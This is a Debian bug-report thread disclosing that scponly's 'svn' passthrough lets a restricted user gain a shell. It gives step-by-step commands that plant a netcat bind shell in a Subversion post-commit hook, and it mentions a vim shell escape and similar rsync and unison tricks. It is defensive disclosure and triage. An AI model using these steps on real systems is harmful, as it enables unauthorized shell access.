Bug#437148: Security Hole in scponly, due to svn support
Package: scponly Version: 4.6-1 X-Debbugs-CC: [EMAIL PROTECTED] Severity: grave Tags: security Hi Thomas Wana, messing around with some friends here, I tried to access his computer with only a scponly protected account. I discovered this way of gaining full shell access: I locally created a subversion repository /tmp/blubb with a /tmp/blubb/hooks/post-commit that contains the command: ( nc -l -p 1042 -e /bin/bash) & I copy this repositry using scp -r /tmp/blubb/ [EMAIL PROTECTED]: Then I check out the repository remotely: ssh [EMAIL PROTECTED] /usr/bin/svn co file:///home/user/blubb bla Now I add a file and commit it: touch blah scp blah [EMAIL PROTECTED]:bla/ ssh [EMAIL PROTECTED] /usr/bin/svn ci bla At this point, I have a vim instance running, asking me for the commit message. I could now just run :!/bin/bash to get a shell, but having done the post-commit hook already, I want to use that, so I write something and quit the editor with :x At this point, I can use nc host 1042 and I have a shell for the account that should have none. The solution would be: Do not enable access to svn (or svnserve), which is a simple compilation option. I’d appreciate it if this gets fixed in debian etch. I have sent this information to [EMAIL PROTECTED] and scponly’s upstream maintainer last week, but have not yet gotten a response. Greetings, Joachim -- Joachim "nomeata" Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata signature.asc Description: Dies ist ein digital signierter Nachrichtenteil
Bug#437148: Security Hole in scponly, due to svn support
* Joachim Breitner: > messing around with some friends here, I tried to access his computer > with only a scponly protected account. I discovered this way of gaining > full shell access: > > I locally created a subversion repository /tmp/blubb with > a /tmp/blubb/hooks/post-commit that contains the command: > ( nc -l -p 1042 -e /bin/bash) & This is an unfortunate interaction between scponly and Subversion, but not a real bug in any of the programs. The same problem arises when a scponly-restricted user uploads any form of executable contents. CGI scripts are more common (and their so-called "PHP shells" which are explicitly designed to exploit this). -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#437148: Security Hole in scponly, due to svn support
Hi, Am Sonntag, den 12.08.2007, 07:58 +0200 schrieb Florian Weimer: > * Joachim Breitner: > > > messing around with some friends here, I tried to access his computer > > with only a scponly protected account. I discovered this way of gaining > > full shell access: > > > > I locally created a subversion repository /tmp/blubb with > > a /tmp/blubb/hooks/post-commit that contains the command: > > ( nc -l -p 1042 -e /bin/bash) & > > This is an unfortunate interaction between scponly and Subversion, but > not a real bug in any of the programs. The same problem arises when a > scponly-restricted user uploads any form of executable contents. CGI > scripts are more common (and their so-called "PHP shells" which are > explicitly designed to exploit this). I think it’s more than that. If I upload some executable, I still have to find a way to actually execute it (e.g. a badly configured web server). Using subversion, I execute anything in _any case_, making scponly useless for it’s purpose. Greetings, Joachim -- Joachim "nomeata" Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata
Bug#437148: Security Hole in scponly, due to svn support
Hi Joachim, On 10.08.2007, at 19:54, Joachim Breitner wrote: Package: scponly Version: 4.6-1 X-Debbugs-CC: [EMAIL PROTECTED] Severity: grave Tags: security Hi Thomas Wana, messing around with some friends here, I tried to access his computer with only a scponly protected account. I discovered this way of gaining full shell access: Nice and creative way :-) Can you please get in touch with the scponly-mailinglist, this should be discussed there and fixed upstream. Tom I locally created a subversion repository /tmp/blubb with a /tmp/blubb/hooks/post-commit that contains the command: ( nc -l -p 1042 -e /bin/bash) & I copy this repositry using scp -r /tmp/blubb/ [EMAIL PROTECTED]: Then I check out the repository remotely: ssh [EMAIL PROTECTED] /usr/bin/svn co file:///home/user/blubb bla Now I add a file and commit it: touch blah scp blah [EMAIL PROTECTED]:bla/ ssh [EMAIL PROTECTED] /usr/bin/svn ci bla At this point, I have a vim instance running, asking me for the commit message. I could now just run :!/bin/bash to get a shell, but having done the post-commit hook already, I want to use that, so I write something and quit the editor with :x At this point, I can use nc host 1042 and I have a shell for the account that should have none. The solution would be: Do not enable access to svn (or svnserve), which is a simple compilation option. I’d appreciate it if this gets fixed in debian etch. I have sent this information to [EMAIL PROTECTED] and scponly’s upstream maintainer last week, but have not yet gotten a response. Greetings, Joachim -- Joachim "nomeata" Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata
Bug#437148: Security Hole in scponly, due to svn support
* Joachim Breitner: >> This is an unfortunate interaction between scponly and Subversion, but >> not a real bug in any of the programs. The same problem arises when a >> scponly-restricted user uploads any form of executable contents. CGI >> scripts are more common (and their so-called "PHP shells" which are >> explicitly designed to exploit this). > > I think it’s more than that. If I upload some executable, I still have > to find a way to actually execute it (e.g. a badly configured web > server). Using subversion, I execute anything in _any case_, making > scponly useless for it’s purpose. You need write permission on the Subversion repository. I think it's pretty obvious that you can change the Subversion hook scripts once you've got them. There are tons of programs which will lead to a similar situation--basically anything that reads a user-specific configuration file.
Bug#437148: Security Hole in scponly, due to svn support
Hi, Am Sonntag, den 02.09.2007, 18:29 +0200 schrieb Florian Weimer: > * Joachim Breitner: > > >> This is an unfortunate interaction between scponly and Subversion, but > >> not a real bug in any of the programs. The same problem arises when a > >> scponly-restricted user uploads any form of executable contents. CGI > >> scripts are more common (and their so-called "PHP shells" which are > >> explicitly designed to exploit this). > > > > I think it’s more than that. If I upload some executable, I still have > > to find a way to actually execute it (e.g. a badly configured web > > server). Using subversion, I execute anything in _any case_, making > > scponly useless for it’s purpose. > > You need write permission on the Subversion repository. I think it's > pretty obvious that you can change the Subversion hook scripts once > you've got them. > > There are tons of programs which will lead to a similar > situation--basically anything that reads a user-specific > configuration file. Note that every user can create a subversion repository. Greetings, Joachim -- Joachim "nomeata" Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata
Bug#437148: Security Hole in scponly, due to svn support
* Joachim Breitner: >> You need write permission on the Subversion repository. I think it's >> pretty obvious that you can change the Subversion hook scripts once >> you've got them. >> >> There are tons of programs which will lead to a similar >> situation--basically anything that reads a user-specific >> configuration file. > > Note that every user can create a subversion repository. So what? You still need a second channel to access that repository using the Subversion protocol. scponly access alone is not sufficient. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#437148: Security Hole in scponly, due to svn support
Hi, Am Sonntag, den 02.09.2007, 20:27 +0200 schrieb Florian Weimer: > * Joachim Breitner: > > >> You need write permission on the Subversion repository. I think it's > >> pretty obvious that you can change the Subversion hook scripts once > >> you've got them. > >> > >> There are tons of programs which will lead to a similar > >> situation--basically anything that reads a user-specific > >> configuration file. > > > > Note that every user can create a subversion repository. > > So what? You still need a second channel to access that repository > using the Subversion protocol. scponly access alone is not > sufficient. It is, as you can run “svn” in the scponly shell, in Debian’s current configuration. If in doubt, please re-try the steps I took in the original report. Greetings, Joachim -- Joachim "nomeata" Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata
Bug#437148: Security Hole in scponly, due to svn support
On 02.09.2007, at 18:29, Florian Weimer wrote: * Joachim Breitner: This is an unfortunate interaction between scponly and Subversion, but not a real bug in any of the programs. The same problem arises when a scponly-restricted user uploads any form of executable contents. CGI scripts are more common (and their so-called "PHP shells" which are explicitly designed to exploit this). I think it’s more than that. If I upload some executable, I still have to find a way to actually execute it (e.g. a badly configured web server). Using subversion, I execute anything in _any case_, making scponly useless for it’s purpose. You need write permission on the Subversion repository. I think it's pretty obvious that you can change the Subversion hook scripts once you've got them. But you can upload a private repository, trigger the hook and remove it afterwards. I believe this is a real security problem, and I'm not quite sure how to fix this without disabling subversion support. But granted, I wouldn't call it a bug, too. It's no flaw in any of the programs involved, rather it is a constellation noone thought of before. There are tons of programs which will lead to a similar situation--basically anything that reads a user-specific configuration file. Well, reading a file is harmless compared to running arbitrary scripts. Tom
Bug#437148: Security Hole in scponly, due to svn support
retitle 437148 "svn", "svnserve" command passthrough is unsafe thanks * Joachim Breitner: >> So what? You still need a second channel to access that repository >> using the Subversion protocol. scponly access alone is not >> sufficient. > > It is, as you can run “svn” in the scponly shell, in Debian’s current > configuration. If in doubt, please re-try the steps I took in the > original report. Ah, I see. Passing through plain "svn" commands is a really, really stupid thing to do. I couldn't image that scponly doing this. Other holes introducd by "svn" pass-through: svn checkout (write arbitrary files) svn diff --diff-cmd (arbitrary command execution) svn export (write arbitrary files) svn propedit --editor-cmd (arbitrary command execution) And likely a few more. Your example shows that "svnserve" isn't safe, either.
Bug#437148: Security Hole in scponly, due to svn support
* Florian Weimer: retitle 437148 "svn", "svnserve", "unison", "rsync" passthrough is unsafe thanks > svn checkout (write arbitrary files) > svn export (write arbitrary files) These two are non-issues because scponly relies on UNIX permissions to restrict write access. > Your example shows that "svnserve" isn't safe, either. Similar tricks can be played with rsync (create an rsyncd.conf with a pre-xfer exec or post-xfer exec option; start a daemon, and connect to it) and unison (provided that you can create files in ~/.unison, which is quite likely). -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
